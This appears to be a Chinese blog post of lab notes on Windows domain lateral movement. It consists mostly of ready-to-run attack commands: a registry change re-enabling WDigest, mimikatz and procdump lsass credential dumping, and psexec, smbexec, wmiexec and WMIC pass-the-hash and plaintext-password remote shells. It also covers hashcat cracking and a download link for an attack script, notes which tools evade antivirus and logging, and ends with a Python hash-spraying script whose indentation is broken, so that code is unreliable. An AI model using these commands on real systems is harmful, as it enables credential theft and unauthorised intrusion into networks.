这篇文章上次修改于 185 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

套件 wmiexec(hash) psexec(官方有,但不支持hash) smbexec(hash)
套件都支持hash

知识点1:

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题

1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取

注册表修改开启wdigest让mimikatz获取明文密码

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

知识点2:

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。windows vista就是win7、8、10这样子的。LM hash是在2k3系统以前的才用这个

hashcat -a 0 -m 1000 hash密文 file字典 --force 爆破哈希的软件,听说宇宙最强(还没使用过,以后有比较详细的服务器教程了试试看)

mimikatz.exe

privilege::debug 提权
sekurlsa::logonpasswords 获取密码

Procdump+Mimikatz 配合获取明文密码

Procdump微软官方自带,不用担心免杀问题,同psexec.exe
procdump -accepteula -ma lsass.exe lsass.dmp 获得lsass.dmp文件
然后
mimikatz 上执行:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

域横向移动 SMB 服务利用-psexec(官方自带,免杀),smbexec(官方自带,免杀)
QQ截图20211106104609.jpg

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

net use \\192.168.3.32\ipc$ "admin!@#45" /user:ad
ministrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行

psexec 第二种:不用建立 IPC 直接提供明文或hash账户密码

psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法
采用 hash 连接,可以用impack-psexec的

QQ截图20211106113441.jpg
记得系统密码的NTML是在这个位置,其他的NTML虽然看起来像,但是其实不是的

smbexec(impacket套件)

同psexec(有日志记录的)

smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
例如
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

实验的时候,域控要开着,不然的话上不去域内主机账号

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash
的方式进行认证,并且该方法不会在目标日志系统留下痕迹。以下三个不会留下日志

WMIC 明文传递

官方自带,不能用hash 无回显,但稳定可靠
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:1.txt"
通过这个写入txt的方式来查看回显,但是定位有些尴尬,确实能执行命令,但是1.txt是在对方的C盘下的,如果想进一步操作的话还得自己去琢磨怎么看1.txt,或者执行反弹shell

cscript 明文传递

有回显 稳定可靠,win官方自带,但是需要一个wmiexec.vbs,免杀简单,也基本不查杀vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Administrator
链接:https://pan.baidu.com/s/1v_3jf4UKMoc38wN_yg8DWg
提取码:pi0j

wmiexec(套件impacket)

明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

域横向移动以上服务 hash 批量利用-python 编译 exe

在最末尾的可以自定义执行的命令

#pyinstaller.exe - F fuck_neiwang_002.py

import os, time

ips = {

    '192.168.3.21',

    '192.168.3.25',

    '192.168.3.29',

    '192.168.3.30',

    '192.168.3.32'

}

users = {

    'Administrator',

    'boss',

    'dbadmin',

    'fileadmin',

    'mack',

    'mary',

    'webadmin'

}

hashs = {

    'ccef208c6485269c20db2cad21734fe7',

    '518b98ad4178a53695dc997aa02d455c'

}



for ip in ips:

    for user in users:

        for mimahash in hashs:

    #wmiexec - hashes: hash god / user@ ip whoami

exec = "wmiexec -hashes :" + mimahash + " god/" + user + "@" + ip + " whoami"

print('--->' + exec + '<---')

os.system(exec)

time.sleep(0.5)